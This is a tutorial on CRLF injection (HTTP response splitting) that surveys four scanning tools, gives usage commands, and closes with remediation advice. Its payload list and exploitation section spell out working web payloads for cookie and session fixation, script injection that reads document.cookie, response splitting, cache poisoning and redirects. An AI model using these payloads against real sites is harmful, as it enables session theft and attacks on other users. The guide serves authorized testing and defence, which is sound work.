CRLF Injection: A Complete Guide to Detection and Exploitation Tools
CRLF Injection: A Complete Guide to Detection and Exploitation Tools
CRLF injection (also known as HTTP response splitting) is a vulnerability that occurs when an application fails to sanitize user input before including it in HTTP headers. By injecting carriage return (\r) and line feed (\n) characters, an attacker can manipulate the response headers, inject arbitrary content, perform cross-site scripting (XSS), steal sessions, and even poison web caches. Despite being a well-known issue, CRLF injection remains prevalent in modern web applications, especially in redirects, cookie handling, and custom headers.
This guide covers four powerful tools for detecting and exploiting CRLF injection vulnerabilities: CRLFsuite, crlfuzz, CRLF-Injection-Scanner, and Injectus. Each tool offers a different approach—from fast Go-based scanning to Python-based fuzzing—and together they provide comprehensive coverage for any security assessment.
⚠️ Legal and ethical notice: These tools send crafted requests to target servers. Only use them against systems you own or have explicit written authorization to test. Unauthorized scanning and exploitation of CRLF injection is illegal and unethical.
Table of Contents
- Understanding CRLF Injection
- Why CRLF Injection Matters
- Tool Overview
- CRLFsuite
- crlfuzz
- CRLF-Injection-Scanner
- Injectus
- Comparison Table
- Common CRLF Injection Payloads
- Exploitation Techniques
- Best Practices & Workflow
- Remediation & Mitigation
- Final Tips
1. Understanding CRLF Injection
HTTP headers are separated by carriage return (\r, ASCII 13) and line feed (\n, ASCII 10) characters. When an application inserts user input into a header without proper sanitization, an attacker can inject \r\n to terminate the current header and start a new one.
Example vulnerable code (PHP):
header("Location: " . $_GET['url']);
Attack:
https://example.com/redirect?url=https://evil.com%0d%0aSet-Cookie:%20session=abc
Resulting response:
HTTP/1.1 302 FoundLocation: https://evil.comSet-Cookie: session=abc
The attacker has injected a new Set-Cookie header, potentially fixing the victim's session to a known value.
2. Why CRLF Injection Matters
CRLF injection can lead to severe consequences:
- HTTP Response Splitting – Inject entire fake responses, including headers and body.
- Cross-Site Scripting (XSS) – Inject
Content-Typeor body content to execute JavaScript. - Session Fixation – Set arbitrary cookies, including session identifiers.
- Cache Poisoning – Poison intermediate caches to serve malicious content to other users.
- Open Redirect – Combine with redirects to send users to malicious sites.
- Security Header Bypass – Remove or modify security headers like
X-Frame-OptionsorContent-Security-Policy.
Because CRLF injection often bypasses WAFs and is easy to exploit, it is a high-impact finding in bug bounty programs.
3. Tool Overview
| Tool | Language | Speed | Bulk Scanning | Best For |
|---|---|---|---|---|
| CRLFsuite | Python | Fast | Yes | Comprehensive scanning with multiple techniques |
| crlfuzz | Go | Very Fast | Yes | High-speed bulk scanning |
| CRLF-Injection-Scanner | Python | Medium | Yes | Simple, list-based scanning |
| Injectus | Python | Medium | No | CRLF and open redirect fuzzing |
4. CRLFsuite
CRLFsuite is a fast, Python-based tool specially designed to scan for CRLF injection vulnerabilities. It supports a wide range of injection points, including URL parameters, headers, and cookies, and can test multiple payloads per endpoint.
Installation
git clone https://github.com/Nefcore/CRLFsuite.gitcd CRLFsuitepip install -r requirements.txt
Basic Usage
# Scan a single URLpython crlfsuite.py -u https://example.com/redirect?url=test# Scan a list of URLs from a filepython crlfsuite.py -i urls.txt# Specify a custom payloadpython crlfsuite.py -u https://example.com/redirect?url=test -p "%0d%0aSet-Cookie:crlf=injection"# Use a proxy (e.g., Burp Suite)python crlfsuite.py -u https://example.com/redirect?url=test -x http://127.0.0.1:8080
Key Features
- Scans URL parameters, headers, and cookies
- Supports multiple payloads and encodings
- Bulk scanning from a file
- Proxy support for Burp Suite integration
- Fast and lightweight
When to Use
Use CRLFsuite when you need a thorough, easy-to-use scanner with support for multiple injection points. It is ideal for manual assessments and small-to-medium lists of endpoints.
🔗 GitHub
5. crlfuzz
crlfuzz is a fast CRLF vulnerability scanner written in Go. It is designed for high-speed, concurrent scanning of large numbers of URLs, making it ideal for bug bounty automation and large-scale assessments.
Installation
go install github.com/dwisiswant0/crlfuzz/cmd/crlfuzz@latest
Or download a precompiled binary from the GitHub releases page.
Basic Usage
# Scan a single URLcrlfuzz -u https://example.com/redirect?url=test# Scan a list of URLs from a filecrlfuzz -l urls.txt -o results.txt# Increase concurrencycrlfuzz -l urls.txt -c 50# Use a custom payloadcrlfuzz -u https://example.com/redirect?url=test -p "%0d%0aSet-Cookie:crlf=injection"
Key Features
- Written in Go for extreme speed
- Concurrent scanning of many URLs
- Supports custom payloads and headers
- Outputs results in a clean format
- Single binary, no dependencies
When to Use
Use crlfuzz when you need to scan thousands of URLs quickly. Its Go implementation makes it significantly faster than Python-based alternatives, making it perfect for large-scale bug bounty recon.
🔗 GitHub
6. CRLF-Injection-Scanner
CRLF-Injection-Scanner is a command-line tool for testing CRLF injection on a list of domains. It is simple, lightweight, and effective for quick checks.
Installation
git clone https://github.com/0x240x23elu/CRLF-Injection-Scanner.gitcd CRLF-Injection-Scannerpip install -r requirements.txt
Basic Usage
# Scan a single domainpython crlf_scan.py -d example.com# Scan a list of domains from a filepython crlf_scan.py -f domains.txt -o results.txt# Specify a custom payloadpython crlf_scan.py -d example.com -p "%0d%0aSet-Cookie:crlf=injection"
Key Features
- Simple Python script
- Scans lists of domains
- Custom payload support
- Lightweight and easy to modify
When to Use
Use CRLF-Injection-Scanner when you need a quick, no-frills check on a list of domains. It is ideal for initial triage and for environments where installing Go is not practical.
🔗 GitHub
7. Injectus
Injectus is a CRLF and open redirect fuzzer written in Python. It is designed to test both CRLF injection and open redirect vulnerabilities, making it a versatile tool for web application security testing.
Installation
git clone https://github.com/D35m0nd142/Injectus.gitcd Injectuspip install -r requirements.txt
Basic Usage
# Scan a single URL for CRLF injectionpython injectus.py -u "https://example.com/redirect?url=test" -t crlf# Scan a single URL for open redirectpython injectus.py -u "https://example.com/redirect?url=test" -t redirect# Scan a list of URLspython injectus.py -f urls.txt -t crlf
Key Features
- Tests both CRLF injection and open redirect
- Custom payload support
- Bulk scanning from a file
- Simple Python implementation
When to Use
Use Injectus when you want to test for both CRLF injection and open redirect in a single tool. It is particularly useful for endpoints that handle redirects, where both vulnerabilities often coexist.
🔗 GitHub
8. Comparison Table
| Tool | Language | Speed | Bulk Scanning | Custom Payloads | Best For |
|---|---|---|---|---|---|
| CRLFsuite | Python | Fast | Yes | Yes | Comprehensive scanning |
| crlfuzz | Go | Very Fast | Yes | Yes | High-speed bulk scanning |
| CRLF-Injection-Scanner | Python | Medium | Yes | Yes | Simple list-based scanning |
| Injectus | Python | Medium | Yes | Yes | CRLF + open redirect fuzzing |
9. Common CRLF Injection Payloads
The following payloads are commonly used to test for CRLF injection. They can be URL-encoded or used raw, depending on the injection point.
| Payload | Description |
|---|---|
%0d%0aSet-Cookie:crlf=injection | Injects a new cookie |
%0d%0aContent-Length:%200 | Injects a Content-Length header |
%0d%0aContent-Type:%20text/html | Injects a Content-Type header |
%0d%0a%0d%0a<script>alert(1)</script> | Injects a response body with XSS |
%0d%0aLocation:%20https://evil.com | Injects a redirect |
%0d%0aX-XSS-Protection:%200 | Disables XSS protection |
%0d%0aX-Frame-Options:%20ALLOWALL | Allows framing |
%0d%0aSet-Cookie:%20session=abc | Session fixation |
Note: Different applications require different encodings. Test both %0d%0a and \r\n (raw) where possible.
10. Exploitation Techniques
Once a CRLF injection is confirmed, exploitation typically involves:
1. HTTP Response Splitting
Inject a complete fake response to mislead the client or poison caches.
Payload:
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html>Defaced</html>
2. Cross-Site Scripting (XSS)
Inject a Content-Type: text/html header and a script body.
Payload:
%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(document.cookie)</script>
3. Session Fixation
Inject a Set-Cookie header to fix the victim's session to a known value.
Payload:
%0d%0aSet-Cookie:%20session=attacker_controlled
4. Cache Poisoning
Inject headers that cause intermediate caches to store malicious content.
Payload:
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(1)</script>
5. Open Redirect
Combine CRLF with Location header injection.
Payload:
%0d%0aLocation:%20https://evil.com
11. Best Practices & Workflow
- Start with a broad scan. Use crlfuzz for high-speed scanning of many URLs.
- Follow up with deep analysis. Use CRLFsuite for thorough testing of interesting endpoints.
- Test all injection points. Parameters, headers, cookies, and path segments.
- Use multiple payloads. Different applications require different encodings and header combinations.
- Verify manually. Automated tools can produce false positives. Confirm findings with a crafted request in Burp Suite or curl.
- Check for open redirects. Many CRLF vulnerabilities coexist with open redirects; test both.
- Document findings. Capture requests and responses for your report.
- Combine with other recon. Use CRLF scanners after discovering endpoints with ffuf, Arjun, or katana.
Example Workflow
# 1. Discover endpoints with parametersffuf -u https://example.com/FUZZ?url=test -w endpoints.txt -fc 404 -o endpoints.txt# 2. High-speed scan with crlfuzzcrlfuzz -l endpoints.txt -o crlf_results.txt# 3. Deep scan with CRLFsuitepython crlfsuite.py -i crlf_results.txt -x http://127.0.0.1:8080# 4. Manually verify findings in Burp Suite# 5. Craft exploitation PoC for confirmed vulnerabilities
12. Remediation & Mitigation
To prevent CRLF injection:
- Validate and sanitize input – Remove or encode
\rand\ncharacters from all user input. - Use safe APIs – Avoid manually constructing headers. Use language-native functions that handle encoding.
- Encode output – URL-encode or HTML-encode user input before including it in headers.
- Use a WAF – Web Application Firewalls can block common CRLF payloads.
- Regular testing – Use CRLF scanners in authorized tests to find and fix vulnerabilities.
- Framework protections – Modern frameworks often sanitize headers automatically. Keep them updated.
13. Final Tips
- CRLF injection is still common. Despite being a known issue, many applications remain vulnerable.
- Test all headers.
Location,Set-Cookie,Content-Type, and custom headers are all potential injection points. - Combine tools. Different scanners test for different patterns; using multiple tools improves coverage.
- Stay legal. Only test systems you have permission to test.
- Keep tools updated. New bypass techniques and payloads emerge regularly.
Official Resources:
- CRLFsuite: github.com/Nefcore/CRLFsuite
- crlfuzz: github.com/dwisiswant0/crlfuzz
- CRLF-Injection-Scanner: github.com/0x240x23elu/CRLF-Injection-Scanner
- Injectus: github.com/D35m0nd142/Injectus
- OWASP CRLF Injection: owasp.org/www-community/attacks/CRLF_Injection
- PortSwigger HTTP Response Splitting: portswigger.net/web-security/request-smuggling
Remember: CRLF injection can lead to severe consequences, including XSS, session fixation, and cache poisoning. Use these tools responsibly, stay within scope, and always obtain proper authorization before testing any system.
Author
Discussion · 0
No comments yet — start the discussion.
Sign in to join the discussion.